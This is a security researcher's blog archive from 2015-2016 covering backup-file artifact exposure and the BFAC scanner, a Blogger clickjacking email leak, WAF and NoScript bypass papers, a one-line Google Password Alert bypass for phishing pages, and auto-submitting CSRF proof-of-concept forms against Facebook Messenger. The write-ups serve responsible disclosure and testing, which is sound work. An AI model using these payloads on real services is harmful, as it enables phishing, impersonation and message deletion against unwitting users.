Thursday, August 18, 2016

Backup-File Artifacts: The Underrated Web-Danger


Backup-File Artifacts: The Underrated Web-Danger Testing and Exploiting Backup-File Artifacts with BFAC



In August 13th, 2016, I have given a talk about Backup-File Artifacts, an attacking vector that is not commonly known, or being tested by penetration testers, yet, can be critical to the security of the web environment. At the end of the of the talk, I have released BFAC, an automated security tool that tests for Backup-File Artifacts that is missed on web-servers and can discloses the web-application's source-code.

This post will discuss different ideas on Backup-File Artifacts, will cover the types of Backup-File Artifacts (BFAs), and ways that it occurs, and how it can be related to web-servers. Also, it will cover the usage of BFAC  (Backup-File Artifacts Checker) in finding BFA issues.


What is Backup-File Artifacts that can affects web-applications?


Backup-File Artifacts are basically files that was left during a backup process. Offline backup artifacts is a something that I will not discuss, since it does not affect the security of the web, and it's not related to this research's point.


Most developers make a backup file before editing a script (or code editors or other programs), and then push it to the web-server along with the backup file. Also, one of the developers’ behaviours is to edit a script in the webroot of the web-server, and when finished the process, the backup-file is left on the webroot. This eventually  allows any unauthenticated party to retrieve the source-code by downloading the BFA. This is a general explanation of the BFA concept.


Types of Backup-File Artifacts

    1.   Backup-File Artifacts Caused by Code-Editors

Text-Editors and Code-Editors intentionally make a backup file for the file that is being edited. This is done so that developers can recover the files they are editing if they encountered any issues.
By default, the backup file is made in the same directory of the file that is being edited, also with a pattern based on the original file name.


For instance, when editing a file called index.php with nano, a backup file will be created with the name “index.php.save”. The same goes to other code editors, each code-editor has its own pattern that it follows when creating a backup file for the file that is being edited.

If the backup file was left on the web-server, an attacker can brute-forces the file, until he finds an existent backup file. Since index.php.save will not be executed as index.php, index.php.save will be the response of the request, showing the source-code of the script. Of course, the same goes to all different patterns.


    2.   Backup-File Artifacts Caused by Missed VCS Meta-Directories on The Webroot
Version Control Systems (VCS) are very popular systems in today’s world. All VCS creates a meta-directory on the same folder of the project. This folder includes tracks and logs for every change is done to the files of the project.


Developers tend to download/clone their project’s repositories on the web-server, without removing the VCS directory. This causes the project to be leaked, since the VCS is publicly accessible for unauthorized parties on the web-server.

    3.   Human-Based Missed Backup-File Artifacts

Developers who are not using Version Control Systems tend to do a manual backup file for scripts that needs to be edited. Also, developers uses similar patterns usually that can be easily guessed and enumerated.

For example, when a developer would like to edit index.php, he/she would make an initial copy in case of any errors or issues. The copy can be named with something that is really common.

index.php → index.php.bak
index.php → index.old
index.php → index.php.temp

Since human-based backup patterns can be easily guessed, we can perform the same damage that was mentioned above, which causes the disclosure of the web-application's source-code.

The Problem


Security Researchers and Penetration Testers who relies solely on web-application vulnerability scanners might not encountered this issues a lot in real-world. The reason is because Most web-application vulnerability scanners does not test against Backup-File Artifacts on web-servers. Also, there are no major tools till the release of this research that is dedicated to test Backup-File Artifacts.

Examples of  tested web-application Vulnerability Scanners that does not test perform Backup-File Artifacts testing

  • OWASP ZAP 2.4
  • Vega
  • W3AF – There are partial plugins that does basic testing, but it’s disabled by default.
  • Nikto 2.4.6
  • Burp Suite Professional 1.7.X

Note: these are the versions that I have tested of the products, future versions are mostly don’t support testing for Backup-File Artifacts too.


There are very few number of Web-Application Vulnerability Scanners that does test for Backup-File Artifacts. However, those scanners are using really basic testing of Backup-File Artifacts. This testing that are done by these rare portion of web-application vulnerability scanners misses most important checks, and do not satisfy the needs for professional security assessment done by security testers. For that reasons, I wrote BFAC.

Introducing BFAC

BFAC (Backup-File Artifacts Checker) is an automated tool that checks for backup artifacts that may discloses the web-application's source code. BFAC goal is to be an all-in-one tool for backup-file artifacts black-box testing.

Features


  • Testing all common types of backup-file artifacts patterns, including human-based BFAs, and BFA that can occur via code-editors.
  • Includes tests for common VCS artifacts, such as GIT, Subversion, Mercurial, and Bazaar.
  • Smart detection techniques; Capable of detecting "Not Found", and valid pages using different tests.
  • Stealthy Interaction with Web Servers.
  • Easy to edit and customize based on needs; easy to add custom BFA patterns.
  • Dynamic and generic; made to be not specified to test a specific environment or server.

How to Protect from Backup-File Artifacts on Web-Servers?


System Administrations
Actively scan web-servers for Backup-File Artifacts, and review if anything found should be placed publicly. If it’s not needed, then remove it to a temporary directory for review by developers responsible for it.

Developers
After doing any edits, check if a backup file exist, and remove it from the webroot if it exists.

Penetration Testers
Add testing for Backup-File Artifacts to your testing checklists. Also, you can use BFAC to test for Backup-File Artifacts.


This article is a summary of the presentation, you can find the slides with more information and details below:




Friday, April 8, 2016

Google UI-Redressing Bug That Discloses The User's Email Address


     In this post, I will be talking about an interesting bug that affects Google Blogger. This security bug has been left undiscovered since almost 2007. 
  The bug allows an attacker to trick the victim into revealing his email address using UI-Redressing techniques.

Background
     We always see a header on blogs that is hosted on Google Blogger that looks like the following:

for unauthenticated users:

for authenticated users:

     As you can see, in the screenshot of an authenticated user, the user's email address is shown. The challenge now is how can we use this feature on our side; to reveal users's email address.
After testing the issue, it appears that the response of the HTTP request holds the user's email address lacks the usage of X-Frame-Options header. This means that anyone can make an HTTP request within an Iframe, and craft it in a way that can help the attacker in making unintended actions.
A screenshot that shows the lack of X-Frame-Options HTTP response header within the Blogger header's request.

     In most cases, we use UI-Redressing when we are allowed to perform “clicks”, and in that form, we would specify it as “Clickjacking”. This case is slightly different type of  UI-Redressing from an exploitation point of view.

     The idea that came to mind was to create a proof of concept that includes  an Iframe that responds with the user's email address, and then force the user into pasting the email within the page, where it gets sent to an external server (eg.. the attacker's sever).

     I have put this idea into code that does exactly that, you can watch the following demonstration video to see an example of the exploitation of the issue.

     A second idea which apparently failed to be performed due to strong Same-Origin Policy of modern browsers was to have an Iframe that responses with the user's email address, and once the response is received, a Javascript within the same HTML page executes that take a screenshot of the Iframe, then send it to an external server, where there will be function running that takes the image and transform it into plain text. This issue was not possible due to the Same-Origin Policy, as the API of getscreenshot() is restricted to not be able to read pixels of none-same-origin Iframe. 


Vendor Response:
     After a discussion with Google Security, Google has decided to not patch the issue.

Final Thoughts:
     This was quite an interesting bug, yet, the impact of the issue is not very high. I would like to share it as this issue is almost 10 years old, and no one has discovered, exploited, or discussed it before. 

     I would like to thank Google Security Team for their prompted and quick response regarding the issue.


Thursday, March 17, 2016

Bypassing NoScript Security Suite Using Cross-Site Scripting and MITM Attacks

Recently, I have been working on a research that discusses various techniques on bypassing the protection of NoScript Security Suite.

In this paper, I have demonstrated techniques that can be used to bypass NoScript Security Suite using MITM attacks. I have also provided a valid proof of concept that can be used in real-world attacks. Furthermore, I have shown how it's possible to bypass NoScript Security using a single cross-site scripting vulnerability against the default whitelisted sites.

The research is meant for educational uses only, and should not be used in performing malicious actions. I am not responsible for any malicious actions that is done using the information in the research.


Paper: Bypassing NoScript Security Suite Using Cross-Site Scripting and MITM Attacks
Author: Mazin Ahmed
Date: March 2016

Download Link:-
MazinAhmed.net - NoScript Security Suite Using Cross-Site Scripting and MITM Attacks.pdf

Tuesday, November 3, 2015

Why Prebuilt Browsers are Bad: Introducing Firefox Security Toolkit


      I recently wrote an article on Bucrowd forums about why prebuilt browsers are bad. I also explained the countermeasures of using security-based prebuilt browsers, such as OWASP Mantra, and HconSTF, and how it's easy compromise any penetration tester that is using the current version of these projects.

      The article can be found here (Link).

      In case the article or the forum went down for any reason, I have made a PDF copy of the article that can be downloaded from here (Link).

      I have also provided a solution for penetration testers that uses OWASP Mantra and HconSTF in their daily work. The project I have done can be found here (Link).

      In case you have any issues or questions, feel free to send me an email, I will respond to you when possible.

Best regards,
Mazin Ahmed

Wednesday, September 9, 2015

Evading All Web-Application Firewalls XSS Filters

     During recent months, I was working on research that proves that all web-application firewalls do not protect against attacks as expected. The research focuses on evading the XSS filters of all popular Web-Application Firewalls, such as F5 Big IP, Imperva
Incapsula, AQTRONIX WebKnight, PHP-IDS, Mod-Security, Sucuri, QuickDefense, Barracuda WAF, and they were all evaded within the research.

     After evading the products, I have worked with vendors to patch all the discovered issues. The research should have been published in July 2015, but as a supporter of the responsible disclosure concept, I waited for companies to patch the bypasses and to get the final responses from them.

     The research is meant for educational uses only, and should not be used in performing malicious actions. I am not responsible for any malicious actions that is done using the information in the research.

     The research is ready to be shared with the public. You can find the links to download a copy of the paper below.

Download Link:-
MazinAhmed.net - Evading All Web-Application Firewalls XSS Filters.pdf


Saturday, July 25, 2015

Bypassing Google Password Alert with One Line of Code

Google Password Alert has became very popular recently. It’s very useful and can be a great defensive way to mitigate phishing damages against Google users.
As soon as it arrives, it has been bypassed several times, and Google has patched all the known techniques.
After I heard that Google has patched all known techniques, I thought about testing it to see how long would it takes for me to bypass it.
The first idea that came to me was to use document.write, encode the phishing page in Unicode, and see the results. The method worked successfully in v1.12.
I have reported the vulnerability to Google via Google VRP page, and the team member asked me to report it to the project's Github page. I have reported it to Github on June 24, and not received a response from Google about patching the bypass. The next version, v1.13 has been released without patching the issue. Therefore, the bypass currently working on v1.13.
Github Report: https://github.com/google/password-alert/issues/72

A full example would be as the following:
<script>document.write("[PAGE IN UNICODE]");</script> 
 
Demonstration Video:


Final Thoughts:
  • Google Password Alert is a great idea, as it helps preventing phishing attacks, the greatest threat to many companies. I would love to see next updates with new improvements towards it.
  • The whole bypass process took me about five minutes (including thinking), it was not a difficult challenge. I hope that Google puts more efforts into preventing evading techniques.

Tuesday, June 9, 2015

Facebook Messenger Multiple CSRF Vulnerabilities


In this post, I will be demonstrating the findings of multiple interesting cross-site request forgery vulnerabilities that I have identified on Facebook. These vulnerabilities allows an attacker to force the victim to do various actions.

On April 2015, Facebook officially launched messenger.com, a stand-alone Facebook messenger for the web. After hearing about the launch I have started to testing it in my spare time.

[*]Sending Unrestricted Messages to Any User via CSRF
Using this issue, I was able to force any user to send messages to other users without the user's knowledge.

POC:
<html> 
<title>POC @mazen160</title> 
<body onload="javascript:document.csrf_form.submit()"> 
<form name="csrf_form" method="POST" action="https://www.messenger.com/ajax/mercury/send_messages.php"> 
<input type="hidden" id="message_batch[0][author]" name="message_batch[0][author]" value="fbid:VALUE1">
<input type="hidden" id="message_batch[0][is_filtered_content]" name="message_batch[0][is_filtered_content]" value="false"> 
<input type="hidden" id="message_batch[0][is_spoof_warning]" name="message_batch[0][is_spoof_warning]" value="false"> 
<input type="hidden" id="message_batch[0][source]" name="message_batch[0][source]" value=""> 
<input type="hidden" id="message_batch[0][body]" name="message_batch[0][body]" value="@mazen160"> 
<input type="hidden" id="message_batch[0][specific_to_list][0]" name="message_batch[0][specific_to_list][0]" value="fbid:VALUE2"> 
<input type="hidden" id="message_batch[0][specific_to_list][1]" name="message_batch[0][specific_to_list][1]" value="fbid:VALUE1"> 
<input type="hidden" id="message_batch[0][client_thread_id]" name="message_batch[0][client_thread_id]" value="fbid:VALUE2"> 
</form> 
</body> 
</html>
Where:
VALUE1==From User
VALUE2==To Target


[*]Deleting Any messages via CSRF
Using this issue, I was able to force any user to delete messaging threads.

<html> 
<title>POC @mazen160</title> 
<body onload="javascript:document.csrf_form.submit()"> 
<form name="csrf_form" method="POST" action="https://www.messenger.com/ajax/mercury/delete_thread.php"> 
<input type="hidden" id="ids[0]" name="ids[0]" value="VALUE"> 
<input type="hidden" id="__user" name="__user" value=""> 
<input type="hidden" id="__a" name="__a" value="1"> 
<input type="hidden" id="__dyn" name="__dyn" value=""> 
<input type="hidden" id="__req" name="__req" value="p"> 
<input type="hidden" id="fb_dtsg" name="fb_dtsg" value=""> 
<input type="hidden" id="ttstamp" name="ttstamp" value=""> 
<input type="hidden" id="__rev" name="__rev" value=""> 
</form> 
</body> 
</html>
Change of the value of "ids[0]" parameter to the victim’s thread ID.

The issues has been fixed very quickly. I would like to thank Facebook security team for their outstanding work in responding to security submissions.

If you need any help securing your web-application or service, you can contact me by E-Mail, or Twitter.